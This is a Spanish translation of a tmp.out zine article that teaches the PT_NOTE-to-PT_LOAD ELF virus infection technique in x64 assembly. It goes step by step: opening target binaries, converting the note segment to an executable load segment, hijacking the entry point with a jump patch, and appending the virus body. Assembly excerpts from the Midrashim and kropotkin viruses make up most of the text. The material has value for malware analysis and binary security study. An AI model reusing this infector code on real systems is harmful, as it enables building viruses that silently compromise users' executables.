┌───────────────────────┐ ▄▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄ │ │ █ █ █ █ █ █ │ │ █ █ █ █ █▀▀▀▀ │ │ █ █ █ █ ▄ │ │ ▄▄▄▄▄ │ │ █ █ │ │ █ █ │ │ █▄▄▄█ │ │ ▄ ▄ │ │ █ █ │ │ █ █ │ │ █▄▄▄█ │ │ ▄▄▄▄▄ │ Implementando el método de infección PT_NOTE en │ █ │ Ensamblador x64 │ █ │ ~ sblip y el equipo de tmp.out └───────────────────█ ──┘ [ Traducción por @Nahh ] En esta primera entrega de tmp.out, presentamos varios ejemplos del algoritmo de infección PT_NOTE->PT_LOAD, tres en ensamblador x64 y uno en Rust. Para aquellos que estén aprendiendo el oficio me pareció que podría resultar útil implementar algunos de los pasos necesarios de este algoritmo en ensamblador x64. En marzo del 2019 mientras trabajaba en reescribir "backdoorfactory" en golang, escribí una explicación de cómo implementar este algoritmo usando este lenguaje, para aquellos interesados en hacer cosas divertidas con ELF en golang, pueden encontrar en el link a continuación: https://www.symbolcrash.com/2019/03/27/pt_note-to-pt_load-injection-in-elf/ El algoritmo para x64 es el mismo, sin embargo a continuación voy a presentar algunas partes de código que espero serán de utilidad para el aspirante a programador ELF en ensamblador x64. Podemos usar los mismos pasos listados en el artículo como referencia, aunque el orden en el que algunas cosas son hechas pueden cambiar dependiendo de la implementación. Algunos métodos escriben un archivo nuevo a disco y luego escriben sobre el mismo, mientras que otros escriben en el archivo directamente. Del link presentado anteriormente, una lista genérica de pasos para implementar el algoritmo de infección PT_NOTE->PT_LOAD: 1. Abrir el archivo ELF a ser inyectado 2. Guardar el "entry point" original, e_entry 3. Parsear la tabla de cabeceras del programa, buscando un segmento "PT_NOTE" 4. Convertir el segmento "PT_NOTE" a un segmento "PT_LOAD" 5. Cambiar las protecciones de memoria del segmento del paso 4 para permitir la ejecución de instrucciones 6. Cambiar el "entry point" a una dirección de memoria que no tenga conflictos con la ejecución del programa original 7. Ajustar las propiedades del archivo, "size on disk" (tamaño en disco) y "virtual size" (tamaño virtual) contemplando el tamaño del código inyectado 8. Apuntar el offset de nuestro segmento convertido al final del binario original, donde almacenaremos el código nuevo (inyectado) 9. Parchear el final del código con instrucciones para saltar al "entry point" original 10. Agregar el código inyectado al final del archivo *11. Escribir el archivo de nuevo a disco, sobreescribiendo el original*. En este artículo no se cubrirá esta variante que crea un binario ELF temporal en disco y sobreescribe al original. En este artículo seguiremos los pasos detallados anteriormente de forma conceptual. El lector debe mantener en mente que algunos pasos podrían ser realizados en un orden distinto (y otros tienen dependencias con pasos anteriores), pero al final todos deben ser seguidos. 1. Abrir el archivo ELF a ser inyectado: La llamada a sistema (syscall) getdents64() es la forma de buscar archivos en sistemas de 64 bits, esta función está definida cómo: int getdents64(unsigned int fd, struct linux_dirent64 *dirp, unsigned int count); Dejaremos la implementación de getdents64() como un ejercicio para el lector -- en el código distribuido con esta publicación hay varios ejemplos de la misma, incluyendo el perteneciente a Midrashim, kropotkin, Eng3ls, y Bak0unin. Para los historiadores de ELF, yo escribí una implementación terrible (y completamente desactualizada actualmente) 20 años atrás usando sintaxis AT&T, que puede ser encontrada en el siguiente link: https://tmpout.sh/papers/getdents.old.att.syntax.txt Asumiendo que ya llamamos a getdents64() y guardamos la estructura de directorios en la pila (stack), podemos ver al analizarla: struct linux_dirent { unsigned long d_ino; /* número de Inodo*/ unsigned long d_off; /* Desplazamiento al próximo next linux_dirent */ unsigned short d_reclen; /* Longitud de este linux_dirent */ char d_name[]; /* Nombre de archivo (terminado en null) */ /* Longitud se calcula como: (d_reclen - 2 - */ /* offsetof(struct linux_dirent, d_name)) */ /* char pad; // Byte de relleno (Cero) char d_type; // Tipo de archivo (A partir de Linux // 2.6.4); el desplazamiento es: (d_reclen - 1) */ } Que el nombre de archivo "d_name" terminado en null byte está almacenado en el desplazamiento [rsp+18] o [rsp+0x12] d_ino está almacenado en los bytes 0-7 - entero largo sin signo d_off está almacenado en los bytes 8-15 - entero largo sin signo d_reclen está almacenado en los bytes 16-17 - entero corto sin signo d_name empieza en el byte número 18. - Nombre de archivo terminado en null Para nuestra llamada a "open()", int open(const char *pathname, int flags, mode_t mode); - rax almacenará el numero de llamada a sistema (syscall), 2 - rdi almacenará el nombre del archivo d_name, en nuestro caso [rsp+18] - rsi almacenará los flags, que podrían ser O_RDONLY (0) o O_RDWR (02) dependiendo cómo funcione nuestro vx - rdx almacenará el modo, pero no utilizaremos esto por ende estará en cero En base a esto el siguiente código: mov rax, 2 ; llamada a sistema (syscall) open mov rdi, [rsp+18] ; campo d_name de la estructura "dirent" que comienza ; al principio de la pila (stack) mov rsi, 2 ; O_RDWR / Flags de lectura y escritura syscall Retornará un descriptor de archivo en RAX si finaliza en forma correcta. Si retorna 0 o un número negativo, significará que ocurrió algún error al intentar abrir el archivo. cmp rax, 0 jng file_open_error Una variante: test rax, rax js file_open_error 2. Guardar el "entry point" original, "e_entry": En Midrashim, escrito por TMZ, el almacena el "entry point", o inicio de programa original en el registro r14 para usarlo luego, este valor termina copiado en la pila. Los registros altos como ser r13, r14 y r15 son buenos lugares para almacenar datos o direcciones de memoria para utilizar luego debido a que no son utilizadas por llamadas a sistema (syscalls). ; Stack buffer: ; r15 + 0 = stack buffer (10000 bytes) = stat ; r15 + 48 = stat.st_size ; r15 + 144 = ehdr ; r15 + 148 = ehdr.class ; r15 + 152 = ehdr.pad ; r15 + 168 = ehdr.entry ---cont.--- mov r14, [r15 + 168] ; almacenando la entrada ehdr.entry del archivo original extraida de [r15 + 168] en r14 3. Parseando la tabla de cabeceras del programa en busca de del segmento PT_NOTE: Como probablemente se haya intuido a partir del título de este artículo, nuestro objetivo es convertir un segmento PT_NOTE en un segmento PT_LOAD capaz de ser cargado con permisos "rx" o "rwx". Sería descuidado no mencionar que este algoritmo no funciona directo de fábrica, es decir, sin modificaciones, para algunos binarios, tales cómo por ejemplo, aquellos escritos en golang y cualquier binario compilado con el modificador -fcf-protection . Al menos sin realizar algún pase mágico que todavía no hemos hecho (o visto). ¿Alguien que se postule para escribirlo en el próximo número de la revista? Más allá de estos casos de borde, el concepto básico es simple. Los segmentos PT_LOAD son cargados en memoria cuando un binario ELF se ejecuta, los segmentos PT_NOTE por el contrario NO son cargados. Sin embargo, si cambiamos una sección PT_NOTE a tipo PT_LOAD y además cambiamos los permisos de memoria por lo menos a "lectura" y "ejecución", podremos escribir código que queremos que se ejecute en esa sección, agregándoselo al final al archivo original y modificando de forma acorde las variables involucradas en la tabla de cabeceras del programa para que se cargue de forma correcta. Pondremos un valor muy alto de memoria en el campo de memoria virtual v_addr, que no interfiera con la ejecución normal del programa. Luego procederemos a parchear el "entry point" original para "saltar" primero a nuestro nuevo segmento de código "PT_LOAD" que ejecutará el código que queramos y luego transferirá la ejecución al programa original. Una entrada en la tabla de cabeceras de programa para un binario ELF en 64-bit tiene la siguiente estructura: typedef struct { uint32_t p_type; // 4 bytes uint32_t p_flags; // 4 bytes Elf64_Off p_offset; // 8 bytes Elf64_Addr p_vaddr; // 8 bytes Elf64_Addr p_paddr; // 8 bytes uint64_t p_filesz; // 8 bytes uint64_t p_memsz; // 8 bytes uint64_t p_align; // 8 bytes } Elf64_Phdr; En este pedazo de codígo de ejemplo, parte de "kropotkin.s", estamos iterando cada una de las distintas entradas de la tabla de cabeceras cargando el desplazamiento de cada entrada en disco en RBX, el número de entradas en ECX y leyendo los primeros 4 bytes al comienzo de la entrada buscando un valor "4", el cual es el valor asignado para el segmento "PT_NOTE" parse_phdr: xor rcx, rcx ; ponemos a cero rcx xor rdx, rdx ; ponemos a cero rdx mov cx, word [rax+e_hdr.phnum] ; rcx contiene el número de entradas mov rbx, qword [rax+e_hdr.phoff] ; rbx contiene el desplazamiento ; de la entrada actual mov dx, word [rax+e_hdr.phentsize] ; rdx contiene el tamaño de la entrada actual loop_phdr: add rbx, rdx ; por cada iteración, sumar el tamaño ; de la entrada actual dec rcx ; decrementar phnum hasta que hayamos ; iterado todas las entradas ; o encontrado un segmento PT_NOTE cmp dword [rax+rbx+e_phdr.type], 0x4 ; Si es 4, hemos encontrado un segmento ; PT_NOTE, vamos a infectarlo ; directamente. je pt_note_found cmp rcx, 0 jg loop_phdr ... ... pt_note_found: 4. Convirtiendo el segmento PT_NOTE en segmento PT_LOAD: Para convertir un segmento PT_NOTE en un PT_LOAD, debemos cambiar algunos valores en la tabla de cabeceras de programa relacionados a ese segmento. Notese que los binarios ELF de 32-bit tienen una estructura diferente para las entradas de la PHT, con el campo "p_flags" siendo la 7ma entrada de la estructura a diferencia de la estructura en 64-bit donde "p_flags" es la 2da entrada. typedef struct { uint32_t p_type; <-- Cambiar este valor a PT_LOAD == 1 uint32_t p_flags; <-- Cambiar a, por lo menos, "Lectura+Ejecución" Elf64_Off p_offset; Elf64_Addr p_vaddr; <-- Dir. de memoria virtual bien alta donde el segmento ; será cargado Elf64_Addr p_paddr; uint64_t p_filesz; uint64_t p_memsz; uint64_t p_align; } Elf64_Phdr; Primero, el campo "p_type" debe ser cambiado de tipo "PT_NOTE" que equivale a 4, a tipo "PT_LOAD", que equivale a 1. Segundo, el campo "p_flags" debe ser cambiado, por lo menos a acceso de "lectura" y "ejecución". Este campo utiliza máscara similar a los permisos en Unix, con: PF_X == 1 PF_W == 2 PF_R == 4 Utilizando sintaxis fasm, como se muestra en el ejemplo abajo, podemos utilizar "PF_R or PF_X". Tercero, tenemos que elegir una dirección donde la nueva información del virus será cargada. Una técnica bastante común es elegir una dirección bien alta, por ejemplo, 0xc000000. Es muy poco probable que esta dirección se solape con algún segmento existente. Sumaremos este valor al tamaño de archivo "stat.st_size", que en ejemplo abajo se obtuvo de r15+48 y se almacenó en r13, como puede verse, luego de obtener ese valor se le suma 0xc000000 y se lo almacena en "p_vaddr". Tomando como ejemplo Midrashim de TMZ: .patch_phdr: mov dword [r15 + 208], PT_LOAD ; cambia phdr.p_type almacenado en ; [r15 + 208] ; de PT_NOTE a PT_LOAD (1) mov dword [r15 + 212], PF_R or PF_X ; cambia phdr.flags almacenado en ; [r15 + 212] ; a PF_X (1) | PF_R (4) pop rax ; pasa del stack a RAX el ; desplazamiento a EOF del objetivo mov [r15 + 216], rax ; phdr.offset [r15 + 216] = ; desplazamiento a EOF del objetivo mov r13, [r15 + 48] ; Almaceno en r13 el valor del ; objetivo ; ostat.st_size (guardado en ; [r15 + 48]) add r13, 0xc000000 ; Sumo 0xc000000 al tamaño del ; objetivo mov [r15 + 224], r13 ; Cambio el valor de phdr.vaddr ; almacenado en [r15 + 224] ; al valor guardado en r13 ; (stat.st_size + 0xc000000) mov qword [r15 + 256], 0x200000 ; seteo phdr.align [r15 + 256] a 2mb add qword [r15 + 240], v_stop - v_start + 5 ; Sumo el tamaño del virus a ; phdr.filesz el cual está almacenado ; en [r15 + 240] + 5 para el salto al ; ehdr.entry original add qword [r15 + 248], v_stop - v_start + 5 ; Sumo el tamaño del virus a ; phdr.memsz en ; [r15 + 248] + 5 para el salto al ; ehdr.entry original 5. Cambio de las protecciones de memoria para este segmento con el fin de permitir la ejecución de instrucciones: mov dword [r15 + 212], PF_R or PF_X ; Cambio los "flags" phdr.flags en ; [r15 + 212] a PF_X (1) | PF_R (4) 6. Cambio del punto de inicio de ejecución (entry point) a un área que no conflictue con la ejecución normal del programa original. Para esto, usaremos el valor 0xc000000. Se debe elegir una dirección lo suficientemente alta en la memoria virtual que cuando sea cargada no se solape con otro código. mov r13, [r15 + 48] ; Almaceno stat.st_size del objetivo [r15 + 48] en r13 add r13, 0xc000000 ; Sumo 0xc000000 al tamaño del objetivo mov [r15 + 224], r13 ; Cambio phdr.vaddr guardado en [r15 + 224] al nuevo ; valor almacenado en r13 ; (stat.st_size + 0xc000000) 7. Ajuste del tamaño en disco y del tamaño de la memoria virtual para incluir el tamaño del código inyectado add qword [r15 + 240], v_stop - v_start + 5 ; Sumo el tamaño del virus ; a phdr.filesz en ; [r15 + 240] + 5 para el salto al ; ehdr.entry original add qword [r15 + 248], v_stop - v_start + 5 ; Sumo el tamaño del virus a ; phdr.memsz en ; [r15 + 248] + 5 para el salto al ; ehdr.entry original 8. Apuntar el desplazamiento de nuestro segmento convertido, al final del binario original, donde almacenaremos el nuevo código. Previamente en Midrashim, este código se ha ejecutado: mov rdx, SEEK_END mov rax, SYS_LSEEK syscall ; obtenemos el desplazamiento a EOF del objetivo en RAX push rax ; almacenamos el desplazamiento a EOF del objetivo En .patch_phdr, utilizamos este valor como la dirección donde almacenar nuestro nuevo código pop rax ; Restauramos en RAX el desplazamiento a EOF del objetivo mov [r15 + 216], rax ; phdr.offset [r15 + 216] = desplazamiento a EOF del ; objetivo 9. Parchear el final del archivo con instrucciones para saltar al inicio de ejecución (entry point) original: Ejemplo #1, obtenido de Midrashim, usando el algoritmo de Binjection: .write_patched_jmp: ; obtenemos el nuevo EOF del objetivo mov rdi, r9 ; r9 contiene fd mov rsi, 0 ; Establezco el desplazamiento a 0 mov rdx, SEEK_END ; Seteo el desplazamiento al final del archivo mov rax, SYS_LSEEK ; llamada a sistema (syscall) lseek syscall ; Obtengo en RAX el desplazamiento correspondiente ; al final del archivo ; creating patched jmp mov rdx, [r15 + 224] ; rdx = phdr.vaddr add rdx, 5 ; el tamaño de una instrucción "jmp" sub r14, rdx ; resto el tamaño del "jmp" de nuestro valor ; almacenado en e_entry en el paso #2 sub r14, v_stop - v_start ; resto el tamaño del código del virus mov byte [r15 + 300 ], 0xe9 ; primer byte de la instrucción "jmp" mov dword [r15 + 301], r14d ; nueva dirección a la cual saltar, actualizada ; restando el tamaño del virus y el tamaño del ; "jmp" Ejemplo #2, Por sblip/s01den del equipo vx, Usando la técnica elfmaster's EOP: Explicar este método está fuera de los objetivos de este documento - como referencia: https://tmpout.sh/1/11.html El código de kropotkin.s: mov rcx, r15 ; saved rsp add rcx, VXSIZE mov dword [rcx], 0xffffeee8 ; relative call to get_eip mov dword [rcx+4], 0x0d2d48ff ; sub rax, (VXSIZE+5) mov byte [rcx+8], 0x00000005 mov word [rcx+11], 0x0002d48 mov qword [rcx+13], r9 ; sub rax, entry0 mov word [rcx+17], 0x0000548 mov qword [rcx+19], r12 ; add rax, sym._start mov dword [rcx+23], 0xfff4894c ; movabs rsp, r14 mov word [rcx+27], 0x00e0 ; jmp rax 10. Agregar nuestro código a inyectar al final del archivo: Tomando como ejemplo Midrashim: Estamos agregando nuestro código directamente al final del archivo y apuntando la nueva dirección PT_LOAD a este. Primero, buscamos el final del archivo usando la llamada a sistema (syscall) "lseek" para llegar al final del archivo cuyo descriptor se encuentra almacenado en el registro r9. Al ejecutar "call .delta", esto almacena la dirección de la siguiente instrucción en la parte superior de la pila, en este caso "pop rbp". Al ejecutarse "pop rbp", si sustraemos el valor de .delta obtendremos la dirección del virus mientras en "runtime". Esto se utiliza al leer/copiar el código del virus debajo de donde se puede ver "lea rsi, [rbp + v_start]". Se debe proveer un punto donde comenzar a leer los bytes a ser escritos y la cantidad a escribir se especifica en el registro rdx, estos son argumentos necesarios para la llamada a pwrite64(). .append_virus: ; getting target EOF mov rdi, r9 ; r9 contiene el fd mov rsi, 0 ; seteo desplazamiento para seek a 0 mov rdx, SEEK_END ; Comenzar al final del archivo mov rax, SYS_LSEEK ; llamada a sistema (syscall) lseek syscall ; obtengo el desplazamiento a EOF del objetivo push rax ; guardo el desplazamiento a EOF del objetivo call .delta ; el viejo truco .delta: pop rbp sub rbp, .delta ; escribiendo el código del virus en EOF del objetivo mov rdi, r9 ; r9 contiene fd del objetivo lea rsi, [rbp + v_start] ; cargo la dirección v_start en rsi mov rdx, v_stop - v_start ; tamaño del virus mov r10, rax ; rax contiene el desplazamiento a EOF del objetivo ; obtenido en una llamada previa mov rax, SYS_PWRITE64 ; syscall #18, pwrite() Syscall El algoritmo de infección PT_NOTE tiene el beneficio de ser bastante fácil de aprender además de muy versátil. Puede ser combinado con otras técnicas. Además cualquier tipo de datos puede ser almacenado en un segmento convertido a PT_LOAD, incluyendo tablas de símbolos, raw data, código para un objeto DT_NEEDED, o incluso, un binario ELF completamente distinto. Espero que este artículo resulte útil para cualquiera aprendiendo ensamblador x64 con el propósito de jugar con binarios ELF.